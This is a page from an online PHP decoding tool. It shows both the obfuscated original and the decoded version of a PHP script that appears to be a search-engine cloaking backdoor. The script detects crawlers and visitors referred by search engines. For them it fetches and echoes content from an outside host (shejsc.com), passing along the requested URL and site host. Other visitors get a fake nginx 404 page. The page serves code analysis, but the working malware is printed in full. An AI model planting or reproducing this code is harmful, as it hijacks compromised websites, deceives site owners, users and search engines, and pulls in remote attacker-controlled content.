Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto McbUB; PBel1: VKDp_: goto BCuk2; Y5PmX: echo "\x3c\150\164\155\x6c\x3e\xa\x3c..
Decoded Output download
<?php
goto McbUB; PBel1: VKDp_: goto BCuk2; Y5PmX: echo "<html>\xa<head><title>404 Not Found</title></head>\xa<body bgcolor='white'>
<center><h1>404 Not Found</h1></center>\xa<hr><center>nginx</center>\xa</body>
</html>"; goto o8hfL; McbUB: error_reporting(0); goto SqVt9; Bj6Mq: echo $KVlPz; goto w94el; fJHNL: $kv5Zj = "https://shejsc.com/index.php?url="; goto fNk3U; P5WyW: $KVlPz = xO3pz($kv5Zj . str_replace("?", "-", $_SERVER["REQUEST_URI"] . HKewB() . NdFD2()) . "&url2=" . "http://" . $_SERVER["HTTP_HOST"] . str_replace("?", "-", $_SERVER["REQUEST_URI"])); goto q_JmO; SKnlH: G7m_b: goto Na2TA; asZP1: function X1aeF() { goto kb9HE; IVzJu: $GGhUK = false; goto C90Cc; C90Cc: if (!(preg_match("/.*(uc).*/i", $o8gA2) && strlen($o8gA2) > 2)) { goto jFvVR; } goto xH5DE; RQqVa: jFvVR: goto RxHQR; xH5DE: $GGhUK = true; goto RQqVa; kb9HE: $o8gA2 = $_SERVER["HTTP_X_UCBROWSER_UA"]; goto IVzJu; RxHQR: return $GGhUK; goto G9Jsm; G9Jsm: } goto pVPp4; vw_I6: uvi8g: goto xICXG; SqVt9: date_default_timezone_set("PRC"); goto fJHNL; k9V03: if (!(EkHHM() || X1AeF())) { goto VKDp_; } goto qvz9u; o8hfL: exit; goto vw_I6; a4zFS: exit; goto lMI2L; q_JmO: echo $KVlPz; goto a4zFS; qvz9u: $KVlPz = XO3Pz($kv5Zj . "tiaole"); goto Bj6Mq; KN5T0: function xo3Pz($FZ4A1) { goto khn_n; Az_y1: curl_setopt($lS7Jn, CURLOPT_FOLLOWLOCATION, true); goto bqSwA; bqSwA: $lXJnh = curl_exec($lS7Jn); goto SVNXs; wQ40W: curl_setopt($lS7Jn, CURLOPT_RETURNTRANSFER, true); goto Az_y1; SVNXs: curl_close($lS7Jn); goto ZEXIa; khn_n: $lS7Jn = curl_init(); goto YTS6a; YTS6a: curl_setopt($lS7Jn, CURLOPT_URL, $FZ4A1); goto wQ40W; ZEXIa: return $lXJnh; goto jQmLD; jQmLD: } goto asZP1; w94el: exit; goto PBel1; lMI2L: Uw9KD: goto SKnlH; xICXG: function HKeWb() { goto U2kMC; Lsimu: return ''; goto lkp8V; lkp8V: goto uCyma; goto BPTLS; DU1s6: uCyma: goto Cp6BP; U2kMC: $y0ES1 = $_SERVER["HTTP_USER_AGENT"]; goto s136b; BPTLS: DmBRE: goto Hwhzq; s136b: if (preg_match("/.*(ao|so.com|360).*/i", $y0ES1)) { goto DmBRE; } goto Lsimu; Hwhzq: return "&zz=360"; goto DU1s6; Cp6BP: } goto AIhEu; mboqS: function fuKl1() { goto vo4UH; vo4UH: $y0ES1 = $_SERVER["HTTP_USER_AGENT"]; goto YaKVZ; YaKVZ: if (preg_match("/.*(sogou|so.com|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360|sm|uc).*/i", $y0ES1)) { goto Vf5pK; } goto XZ3mZ; Jweun: goto ggP3R; goto QWxjN; XZ3mZ: return ''; goto Jweun; py8id: return true; goto LVjm1; QWxjN: Vf5pK: goto py8id; LVjm1: ggP3R: goto SpINX; SpINX: } goto aVvVC; Na2TA: if (!(fUkl1() == '')) { goto uvi8g; } goto Y5PmX; fNk3U: if (!(jy2eU() != "/")) { goto G7m_b; } goto k9V03; AIhEu: function NdfD2() { goto mJhjA; imQWL: return "&bb=baidu"; goto G85E5; I9FSM: goto RgDF8; goto YJ0Qt; YJ0Qt: FbSUM: goto imQWL; G85E5: RgDF8: goto EWULL; Aijrz: if (preg_match("/.*(baid|aid).*/i", $y0ES1)) { goto FbSUM; } goto WUklZ; WUklZ: return ''; goto I9FSM; mJhjA: $y0ES1 = $_SERVER["HTTP_USER_AGENT"]; goto Aijrz; EWULL: } goto mboqS; BCuk2: if (!fUkl1()) { goto Uw9KD; } goto P5WyW; aVvVC: function EKHHm() { goto rmIeu; jJOHw: if (!preg_match("/^(?:http:\/\/)?lad{0}njie\.and{0}quad{0}n\.op{0}r.{0}g/i", $o8gA2)) { goto yp4mA; } goto CVKzk; UPUYJ: $GGhUK = false; goto kr3Id; ujhxH: if ($GGhUK) { goto bNp8L; } goto g0y9l; GAO0_: oUTki: goto tHUJF; TugtU: $GGhUK = true; goto Ti23G; CVKzk: $GGhUK = true; goto Dm5q2; rmIeu: $o8gA2 = $_SERVER["HTTP_REFERER"]; goto UPUYJ; DbQ3z: return $GGhUK; goto Px6ID; kr3Id: if (!strstr($o8gA2, "bsb.baidu")) { goto RaLou; } goto OA5qH; g0y9l: if (!preg_match("/.*(baidu|sog|360|hao|so).*/i", $o8gA2)) { goto oUTki; } goto DcYCh; DcYCh: $GGhUK = true; goto GAO0_; XC9k_: if (!preg_match("/.*(sogou|so.com|WebShieldSession|Verify|verify|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360|sm|uc).*/i", $o8gA2)) { goto y6E3o; } goto TugtU; OA5qH: return true; goto U0Xrb; T4Rzt: if ($GGhUK) { goto X880Z; } goto jJOHw; Ti23G: y6E3o: goto T4Rzt; ERzPx: X880Z: goto ujhxH; Dm5q2: yp4mA: goto ERzPx; U0Xrb: RaLou: goto XC9k_; tHUJF: bNp8L: goto DbQ3z; Px6ID: } goto KN5T0; pVPp4: function jy2Eu() { goto D0xua; HJ1Py: if (isset($_SERVER["argv"])) { goto s9J_F; } goto m6h7_; Ir18a: $WcYBV = explode("#", $Qy131, 2); goto Uar9c; BGKFx: Z2Ote: goto Ir18a; bgDvF: nMQn8: goto ADaNu; FOmnp: $Qy131 = str_ireplace("http://" . ($_SERVER["HTTP_HOST"] ? $_SERVER["HTTP_HOST"] : $_SERVER["SERVER_NAME"]) . "/", '', $Qy131); goto K_0tj; UKm4o: if (function_exists("mb_convert_encoding")) { goto o_ZGV; } goto fPl79; ck6Fo: $Qy131 = str_ireplace("index.php?404;", '', $Qy131); goto FOmnp; ADaNu: goto rmZpi; goto et15K; K_0tj: $Qy131 = str_ireplace("http://" . ($_SERVER["HTTP_HOST"] ? $_SERVER["HTTP_HOST"] : $_SERVER["SERVER_NAME"]) . ":" . $_SERVER["SERVER_PORT"] . "/", '', $Qy131); goto ICOyV; ONTFd: goto nMQn8; goto vOxR9; T1BKf: if (!(isset($_SERVER["SERVER_SOFTWARE"]) && false !== stristr($_SERVER["SERVER_SOFTWARE"], "IIS"))) { goto Z2Ote; } goto UKm4o; wD3zc: rmZpi: goto T1BKf; fwBNK: $Qy131 = $_SERVER["REQUEST_URI"]; goto wD3zc; D0xua: $Qy131 = ''; goto h9kKe; vOxR9: s9J_F: goto qMkbX; oTX4E: o_ZGV: goto ZDFcY; NXY3i: goto cyeKv; goto oTX4E; qMkbX: $Qy131 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; goto bgDvF; et15K: eEmLe: goto fwBNK; Uar9c: $Qy131 = $WcYBV[0]; goto ck6Fo; ICOyV: $Qy131 = str_ireplace("index.php", '', $Qy131); goto ZI6s3; ZI6s3: $Qy131 = str_ireplace("index.html", '', $Qy131); goto bxrQP; h9kKe: if (isset($_SERVER["REQUEST_URI"])) { goto eEmLe; } goto HJ1Py; ZDFcY: $Qy131 = mb_convert_encoding($Qy131, "UTF-8", "GBK"); goto WuSFp; YlHVn: return $Qy131; goto iw4aZ; fPl79: $Qy131 = @iconv("GBK", "UTF-8", @iconv("UTF-8", "GBK", $Qy131)) == $Qy131 ? $Qy131 : @iconv("GBK", "UTF-8", $Qy131); goto NXY3i; WuSFp: cyeKv: goto BGKFx; m6h7_: $Qy131 = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; goto ONTFd; bxrQP: $Qy131 = str_ireplace("index.htm", '', $Qy131); goto YlHVn; iw4aZ: } ?>
Did this file decode correctly?
Original Code
<?php
goto McbUB; PBel1: VKDp_: goto BCuk2; Y5PmX: echo "\x3c\150\164\155\x6c\x3e\xa\x3c\150\x65\141\x64\76\x3c\x74\151\164\x6c\x65\76\x34\60\x34\x20\116\157\164\40\106\157\x75\x6e\x64\74\57\x74\x69\164\154\145\x3e\x3c\x2f\x68\x65\x61\x64\x3e\xa\74\x62\157\144\x79\40\142\147\143\x6f\x6c\x6f\x72\x3d\x27\167\x68\151\164\x65\47\x3e\12\x3c\x63\145\156\164\x65\x72\x3e\x3c\150\x31\76\x34\x30\64\x20\x4e\x6f\164\40\106\157\165\156\x64\74\57\150\x31\76\74\x2f\x63\145\x6e\164\x65\x72\x3e\xa\74\x68\x72\76\74\x63\x65\156\164\x65\162\x3e\156\147\x69\156\170\x3c\x2f\x63\145\x6e\164\x65\x72\x3e\xa\74\57\142\157\x64\x79\76\12\x3c\57\x68\164\x6d\154\76"; goto o8hfL; McbUB: error_reporting(0); goto SqVt9; Bj6Mq: echo $KVlPz; goto w94el; fJHNL: $kv5Zj = "\x68\x74\x74\x70\x73\72\57\57\x73\150\145\x6a\x73\143\56\x63\x6f\x6d\x2f\151\156\x64\x65\170\56\160\150\160\77\165\x72\x6c\x3d"; goto fNk3U; P5WyW: $KVlPz = xO3pz($kv5Zj . str_replace("\x3f", "\55", $_SERVER["\122\x45\121\x55\x45\x53\124\137\125\122\111"] . HKewB() . NdFD2()) . "\x26\x75\x72\x6c\62\x3d" . "\150\164\x74\160\72\57\x2f" . $_SERVER["\110\x54\124\120\x5f\110\x4f\123\x54"] . str_replace("\77", "\x2d", $_SERVER["\x52\x45\x51\x55\x45\x53\124\137\x55\x52\x49"])); goto q_JmO; SKnlH: G7m_b: goto Na2TA; asZP1: function X1aeF() { goto kb9HE; IVzJu: $GGhUK = false; goto C90Cc; C90Cc: if (!(preg_match("\57\56\x2a\x28\x75\x63\51\56\x2a\57\x69", $o8gA2) && strlen($o8gA2) > 2)) { goto jFvVR; } goto xH5DE; RQqVa: jFvVR: goto RxHQR; xH5DE: $GGhUK = true; goto RQqVa; kb9HE: $o8gA2 = $_SERVER["\x48\124\x54\120\137\130\137\x55\x43\x42\122\x4f\x57\123\105\122\137\125\x41"]; goto IVzJu; RxHQR: return $GGhUK; goto G9Jsm; G9Jsm: } goto pVPp4; vw_I6: uvi8g: goto xICXG; SqVt9: date_default_timezone_set("\x50\x52\x43"); goto fJHNL; k9V03: if (!(EkHHM() || X1AeF())) { goto VKDp_; } goto qvz9u; o8hfL: exit; goto vw_I6; a4zFS: exit; goto lMI2L; q_JmO: echo $KVlPz; goto a4zFS; qvz9u: $KVlPz = XO3Pz($kv5Zj . "\x74\151\141\157\x6c\145"); goto Bj6Mq; KN5T0: function xo3Pz($FZ4A1) { goto khn_n; Az_y1: curl_setopt($lS7Jn, CURLOPT_FOLLOWLOCATION, true); goto bqSwA; bqSwA: $lXJnh = curl_exec($lS7Jn); goto SVNXs; wQ40W: curl_setopt($lS7Jn, CURLOPT_RETURNTRANSFER, true); goto Az_y1; SVNXs: curl_close($lS7Jn); goto ZEXIa; khn_n: $lS7Jn = curl_init(); goto YTS6a; YTS6a: curl_setopt($lS7Jn, CURLOPT_URL, $FZ4A1); goto wQ40W; ZEXIa: return $lXJnh; goto jQmLD; jQmLD: } goto asZP1; w94el: exit; goto PBel1; lMI2L: Uw9KD: goto SKnlH; xICXG: function HKeWb() { goto U2kMC; Lsimu: return ''; goto lkp8V; lkp8V: goto uCyma; goto BPTLS; DU1s6: uCyma: goto Cp6BP; U2kMC: $y0ES1 = $_SERVER["\110\124\124\120\137\125\123\x45\122\x5f\101\107\105\116\124"]; goto s136b; BPTLS: DmBRE: goto Hwhzq; s136b: if (preg_match("\57\x2e\x2a\50\141\x6f\x7c\x73\157\x2e\143\157\x6d\174\63\x36\x30\x29\x2e\x2a\57\x69", $y0ES1)) { goto DmBRE; } goto Lsimu; Hwhzq: return "\x26\172\x7a\75\x33\x36\60"; goto DU1s6; Cp6BP: } goto AIhEu; mboqS: function fuKl1() { goto vo4UH; vo4UH: $y0ES1 = $_SERVER["\110\x54\x54\x50\x5f\x55\x53\105\x52\x5f\101\x47\105\116\124"]; goto YaKVZ; YaKVZ: if (preg_match("\57\x2e\x2a\50\163\x6f\147\157\x75\174\163\157\x2e\x63\x6f\x6d\x7c\142\x61\x69\x64\x75\174\147\x6f\x6f\x67\x6c\x65\174\x79\x6f\165\144\x61\x6f\x7c\x79\x61\x68\x6f\x6f\174\142\151\x6e\x67\x7c\x31\x31\x38\61\61\x34\x7c\x62\151\163\157\x7c\147\157\165\x67\x6f\165\174\x69\x66\x65\x6e\147\x7c\x69\x76\143\174\163\x6f\x6f\x75\154\145\174\156\151\x75\x68\x75\174\142\151\x73\x6f\174\x33\x36\x30\174\x73\155\174\x75\143\x29\x2e\52\x2f\x69", $y0ES1)) { goto Vf5pK; } goto XZ3mZ; Jweun: goto ggP3R; goto QWxjN; XZ3mZ: return ''; goto Jweun; py8id: return true; goto LVjm1; QWxjN: Vf5pK: goto py8id; LVjm1: ggP3R: goto SpINX; SpINX: } goto aVvVC; Na2TA: if (!(fUkl1() == '')) { goto uvi8g; } goto Y5PmX; fNk3U: if (!(jy2eU() != "\57")) { goto G7m_b; } goto k9V03; AIhEu: function NdfD2() { goto mJhjA; imQWL: return "\46\x62\x62\x3d\x62\x61\151\x64\x75"; goto G85E5; I9FSM: goto RgDF8; goto YJ0Qt; YJ0Qt: FbSUM: goto imQWL; G85E5: RgDF8: goto EWULL; Aijrz: if (preg_match("\x2f\56\52\x28\142\x61\151\144\x7c\141\x69\144\x29\56\x2a\x2f\151", $y0ES1)) { goto FbSUM; } goto WUklZ; WUklZ: return ''; goto I9FSM; mJhjA: $y0ES1 = $_SERVER["\110\x54\124\x50\x5f\x55\x53\105\x52\137\101\107\105\116\124"]; goto Aijrz; EWULL: } goto mboqS; BCuk2: if (!fUkl1()) { goto Uw9KD; } goto P5WyW; aVvVC: function EKHHm() { goto rmIeu; jJOHw: if (!preg_match("\x2f\x5e\x28\77\x3a\150\164\x74\160\72\x5c\57\134\x2f\x29\x3f\x6c\x61\x64\173\60\x7d\156\152\151\x65\134\x2e\141\156\x64\173\x30\x7d\x71\x75\x61\144\x7b\x30\175\156\134\x2e\157\160\173\x30\175\x72\x2e\173\60\175\147\57\151", $o8gA2)) { goto yp4mA; } goto CVKzk; UPUYJ: $GGhUK = false; goto kr3Id; ujhxH: if ($GGhUK) { goto bNp8L; } goto g0y9l; GAO0_: oUTki: goto tHUJF; TugtU: $GGhUK = true; goto Ti23G; CVKzk: $GGhUK = true; goto Dm5q2; rmIeu: $o8gA2 = $_SERVER["\110\124\x54\x50\x5f\122\105\106\x45\x52\105\x52"]; goto UPUYJ; DbQ3z: return $GGhUK; goto Px6ID; kr3Id: if (!strstr($o8gA2, "\142\163\142\56\142\141\151\x64\165")) { goto RaLou; } goto OA5qH; g0y9l: if (!preg_match("\57\56\52\x28\142\141\x69\x64\165\174\x73\157\147\x7c\63\66\x30\x7c\x68\141\157\174\163\157\51\56\52\57\x69", $o8gA2)) { goto oUTki; } goto DcYCh; DcYCh: $GGhUK = true; goto GAO0_; XC9k_: if (!preg_match("\57\x2e\x2a\x28\163\157\x67\157\x75\174\x73\157\56\143\157\155\x7c\127\x65\142\123\x68\151\145\154\x64\x53\x65\x73\163\x69\157\x6e\x7c\126\145\x72\151\x66\171\x7c\x76\145\162\x69\146\171\x7c\142\x61\151\144\165\x7c\147\x6f\157\147\154\x65\x7c\171\x6f\165\144\141\157\x7c\171\141\150\x6f\x6f\174\142\x69\156\x67\x7c\61\61\x38\61\x31\64\x7c\142\x69\163\157\174\x67\x6f\x75\147\157\x75\174\x69\146\x65\x6e\147\174\x69\166\x63\174\x73\x6f\157\165\154\145\x7c\156\151\x75\150\165\x7c\x62\151\x73\x6f\x7c\x33\x36\60\x7c\163\x6d\x7c\165\143\51\x2e\52\x2f\x69", $o8gA2)) { goto y6E3o; } goto TugtU; OA5qH: return true; goto U0Xrb; T4Rzt: if ($GGhUK) { goto X880Z; } goto jJOHw; Ti23G: y6E3o: goto T4Rzt; ERzPx: X880Z: goto ujhxH; Dm5q2: yp4mA: goto ERzPx; U0Xrb: RaLou: goto XC9k_; tHUJF: bNp8L: goto DbQ3z; Px6ID: } goto KN5T0; pVPp4: function jy2Eu() { goto D0xua; HJ1Py: if (isset($_SERVER["\x61\x72\x67\x76"])) { goto s9J_F; } goto m6h7_; Ir18a: $WcYBV = explode("\x23", $Qy131, 2); goto Uar9c; BGKFx: Z2Ote: goto Ir18a; bgDvF: nMQn8: goto ADaNu; FOmnp: $Qy131 = str_ireplace("\150\164\x74\x70\x3a\57\x2f" . ($_SERVER["\110\x54\x54\x50\137\x48\117\123\124"] ? $_SERVER["\x48\x54\x54\120\x5f\x48\117\123\124"] : $_SERVER["\123\x45\x52\126\105\122\137\x4e\x41\x4d\105"]) . "\x2f", '', $Qy131); goto K_0tj; UKm4o: if (function_exists("\155\x62\137\143\x6f\x6e\166\145\x72\164\137\x65\x6e\143\x6f\x64\x69\156\x67")) { goto o_ZGV; } goto fPl79; ck6Fo: $Qy131 = str_ireplace("\x69\156\144\145\x78\56\x70\150\x70\77\64\60\64\73", '', $Qy131); goto FOmnp; ADaNu: goto rmZpi; goto et15K; K_0tj: $Qy131 = str_ireplace("\150\x74\164\x70\x3a\x2f\x2f" . ($_SERVER["\110\124\x54\x50\x5f\110\117\x53\124"] ? $_SERVER["\x48\124\x54\120\x5f\x48\x4f\123\124"] : $_SERVER["\x53\105\x52\x56\105\x52\x5f\x4e\101\x4d\x45"]) . "\x3a" . $_SERVER["\x53\105\122\x56\x45\122\x5f\x50\x4f\x52\x54"] . "\57", '', $Qy131); goto ICOyV; ONTFd: goto nMQn8; goto vOxR9; T1BKf: if (!(isset($_SERVER["\x53\105\122\x56\105\122\137\123\117\106\124\127\x41\x52\x45"]) && false !== stristr($_SERVER["\123\105\122\x56\x45\x52\x5f\x53\117\x46\x54\127\101\x52\x45"], "\111\111\123"))) { goto Z2Ote; } goto UKm4o; wD3zc: rmZpi: goto T1BKf; fwBNK: $Qy131 = $_SERVER["\x52\x45\x51\125\105\x53\x54\x5f\x55\x52\111"]; goto wD3zc; D0xua: $Qy131 = ''; goto h9kKe; vOxR9: s9J_F: goto qMkbX; oTX4E: o_ZGV: goto ZDFcY; NXY3i: goto cyeKv; goto oTX4E; qMkbX: $Qy131 = $_SERVER["\x50\110\120\x5f\x53\x45\114\x46"] . "\x3f" . $_SERVER["\141\162\147\166"][0]; goto bgDvF; et15K: eEmLe: goto fwBNK; Uar9c: $Qy131 = $WcYBV[0]; goto ck6Fo; ICOyV: $Qy131 = str_ireplace("\151\156\x64\x65\x78\x2e\x70\150\160", '', $Qy131); goto ZI6s3; ZI6s3: $Qy131 = str_ireplace("\151\156\144\145\170\x2e\x68\164\x6d\154", '', $Qy131); goto bxrQP; h9kKe: if (isset($_SERVER["\122\x45\x51\x55\105\x53\124\137\x55\122\x49"])) { goto eEmLe; } goto HJ1Py; ZDFcY: $Qy131 = mb_convert_encoding($Qy131, "\x55\x54\106\x2d\70", "\107\x42\x4b"); goto WuSFp; YlHVn: return $Qy131; goto iw4aZ; fPl79: $Qy131 = @iconv("\x47\102\x4b", "\125\x54\106\55\x38", @iconv("\x55\124\106\x2d\x38", "\x47\x42\113", $Qy131)) == $Qy131 ? $Qy131 : @iconv("\x47\102\x4b", "\x55\124\x46\x2d\70", $Qy131); goto NXY3i; WuSFp: cyeKv: goto BGKFx; m6h7_: $Qy131 = $_SERVER["\120\x48\120\137\123\x45\114\106"] . "\x3f" . $_SERVER["\121\x55\105\x52\131\137\x53\124\x52\x49\116\107"]; goto ONTFd; bxrQP: $Qy131 = str_ireplace("\151\x6e\144\x65\170\x2e\150\x74\155", '', $Qy131); goto YlHVn; iw4aZ: }
Function Calls
None |
Stats
MD5 | c0e41eec5b326b604322e2fd11fd4d02 |
Eval Count | 0 |
Decode Time | 60 ms |